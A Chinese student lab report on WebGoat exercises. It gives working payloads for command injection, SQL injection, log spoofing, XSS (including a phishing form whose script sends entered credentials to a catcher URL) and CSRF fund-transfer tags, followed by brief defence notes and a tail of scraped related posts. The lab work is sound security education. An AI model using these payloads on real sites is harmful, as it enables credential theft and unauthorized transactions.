2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础
2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础
目录
实验内容与步骤
实验过程中遇到的问题
基础问题回答
实验总结与体会
实验内容与步骤
(一)Webgoat安装
- WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
- 我们直接到该链接去下载:webgoat-container-7.0.1-war-exec.jar,这个jar包似乎有一点问题。。。下的时候下了好几次,浏览器还崩了一次,原因也不清楚。总之在网络好的时候多点耐心就能下成功。
- 之后直接共享到虚拟机实验目录下
- 使用命令
java -jar webgoat-container-7.0.1-war-exec.jar
打开Wengoat,当显示信息: Starting ProtocolHandler ["http-bio-8080"]
说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端 - 在浏览器中输入
http://localhost:8080/WebGoat
进入Webgoat登陆界面,直接使用界面提供的任意一组用户名、密码登陆即可。
(二)SQL注入攻击
1.命令注入(Command Injection)
- 技术概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
- 操作步骤
点击
Injection Flaws
-Command Injection
右键点击
AccessControlMatrix.help
复选框,选择inspect Element
审查网页元素对源代码进行修改,在图中末尾添加"& netstat -an & ipconfig"
点击
view
查看网络端口使用情况和 IP 地址,攻击成功
2.字符串型输入(Command Injection)
- 技术概念:SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。攻击者可以在没有密码的情况下查看数据库内容。
- 技术原理:基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
- 操作步骤:
- 点击
Injection Flaws
-String SQL Injection
- 输入查询的用户名
Smith' or 1=1--
,这使得查询语句变为:SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1--'
,其中--为注释符,即此式为永真式。
- 点击
3.日志欺骗(Log Spoofing)
- 技术原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。攻击者可以修改日志内容,甚至将脚本写入日志中,脚本的返回信息管理员能够通过浏览器看到。
- 操作步骤:
点击
Injection Flaws
-Log Spoofing
在文本框中输入用户名:
Smith Login Succeeded for username admin
网页会返回错误值:Login failed for username:smith Login Succeeded for username admin
但如果,我们在User Name中填入
Smith%0d%0aLogin Succeeded for username: admin
,利用回车符0D%
和换行符%0A
让其在日志中两行显示,随意输入密码,点击login可以看到日志中我们用admin登录成功了。
如果在用户名处输入脚本又会怎么样呢?
- 在用户名中输入
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息.
- 在用户名中输入
(三)XSS攻击
1.跨站脚本钓鱼攻击(Phishing with XSS)
- 技术原理:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成XSS。在XSS的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
- 操作步骤
- 利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
- 受害人填写一个表格;
- 以读取脚本的形式,将收集到的信息发送给攻击者。
- 编写一个带用户名和密码输入框的表格
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
- 将以上两段代码合并,在
XSS
-Phishing with XSS
搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来
- 利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
2.存储型XSS攻击(Stored XSS Attacks)
- 技术原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 操作步骤:
- 在title中任意输入字符,留言板中输入
<script>alert("You've been attacked!!!");</script>
,submit提交 - 点击message list中的链接,弹出信息
- 在title中任意输入字符,留言板中输入
3.反射型XSS攻击(Reflected XSS Attacks)
- 技术原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
- 操作步骤:
- 输入代码
<script>alert("You've been attacked!!!");</script>
,点击purse的同时页面就给出了反馈
- 输入代码
(四)CSRF攻击
- 在操作之前先来了解一下什么是cookie
- Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。简单来说就是用来存储客户端的状态的一个东西。
1.跨站请求伪造Cross Site Request Forgery
- 技术原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com
的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
- 操作步骤:
- 查看页面右侧Parameters中的src和menu值,分别为268和900
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交 - 在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2.绕过 CSRF 确认(CSRF Prompt By‐Pass)
- 技术原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 操作步骤:
- 查看页面右侧Parameters中的src和menu值分别为274和900
- 在title框中输入任意值,message框中输入代码:
<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>
- 提交以后点击title链接
实验过程中遇到的问题
- 在2019kali环境下安装webgoat时,打开网页以后显示不出课程内容,换成2018kali以后就没问题了。
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- 防御:
- 注意检查输入的特殊字符串
- 数据库中敏感数据不要明文存储
- 输入错误的异常提示应当返回尽量少的信息
(2)XSS攻击的原理,如何防御
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 检查表单提交字符串,例如检查到javascript就判定为xss攻击
- 在表单提交或者url参数传递前,对需要的参数进行过滤
(3)CSRF攻击原理,如何防御
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 对于每一个重要的post提交页面,都使用一个验证码
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实验总结与体会
本次实验在webgoat上操作起来很简单,理解起来却很不容易,参考了webgoat中文手册、cookie相关知识点完成了实验,感觉要想理解得更透彻还需要深入地研究才行。
2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础的更多相关文章
- 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础
2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...
- 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13
<网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...
- 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...
- 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...
- 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165312<网络对抗技术>Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric SQL Injecti ...
- 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165210<网络对抗技术>Exp9 Web安全基础 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 实验内容 安装Webgoat SQL注入攻击 - ...
- 2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础
2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS ...
- 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114
Exp9 Web安全基础 目录 一.实验内容 二.基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 三.实践过程记录 3.1 注入缺 ...
- 2018-2019-2 (内附jdk与webgoat完整安装教程)《网络对抗技术》Exp9 Web安全基础 Week13 20165233
Exp9 Web安全基础 目录 一.基础问题 二.实验步骤 实验前准备:jdk与webgoat的安装 实验点一:SQL 命令注入(Command Injection) 数字型注入(Numeric SQ ...
随机推荐
- JavaScript之获取标签
(1)html <p id="txt">这是P标签</p> <h1 id="txt" style="color: red ...
- Kubernetes- Dashboard 部署
获取dashboard 的yaml文件 wget wget https://raw.githubusercontent.com/kubernetes/dashboard/v1.10.1/src/dep ...
- CentOS7- ABRT has detected 1 problem(s). For more info run: abrt-cli list --since 1548988705
CentOS7重启后,xshell连接,后出现ABRT has detected 1 problem(s). For more info run: abrt-cli list --since 1548 ...
- three.js展示三维模型
1.概要 最近学习Three.js,尝试加载一些3d max导出的obj.stl模型,在展示模型的时候遇到了一些问题,模型的尺寸.位置和旋转角度每次都靠手工调整,非常的不方便,就想着写一个方法来随心所 ...
- tomcat的根路径设置
今天使用postman进行springmvc的测试发现提示404错误,检查原因发现是tomcat的配置问题.这里的发布的war包的访问地址 Application Context设置为了根路径”/” ...
- CV2识别图片A,B,C,D
这个模型是经过简单训练,只能识别四个英文字母:ABCD,是我为了提取答案才训练的,因为科大,百度,以及腾讯的识别不是很准,所以自己训练自己使用,希望能够给你带来方便.下面是训练好的model,如多你感 ...
- macOS 10.13允许任何来源开启方法
软件下载网站: http://www.pc6.com/ 软件安装问题: macOS 10.13允许任何来源开启方法: 如果需要恢复允许“任何来源”的选项,即关闭系统的Gatekeeper,我们可以在“ ...
- STM32移植USB驱动总结
https://blog.csdn.net/stm32_newlearner/article/details/88095944 stm32 移植usb驱动开发 单片机 STM32单片机和51单片机 ...
- 《hello-world》第九次团队作业:【Beta】Scrum meeting 2
项目 内容 这个作业属于哪个课程 2016级计算机科学与工程学院软件工程(西北师范大学) 这个作业的要求在哪里 实验十三 团队作业9:Beta冲刺与团队项目验收 团队名称 <hello--wor ...
- Ubuntu 16.04LTS 安装和配置Bochs
环境:VMWare14+Ubuntu16.04 安装Bochs2.6.9 1.去官网下载 下载 bochs-2.6.9.tar.gz 2.安装一系列的包 因为Bochs 需要在 X11 环境下运行,因 ...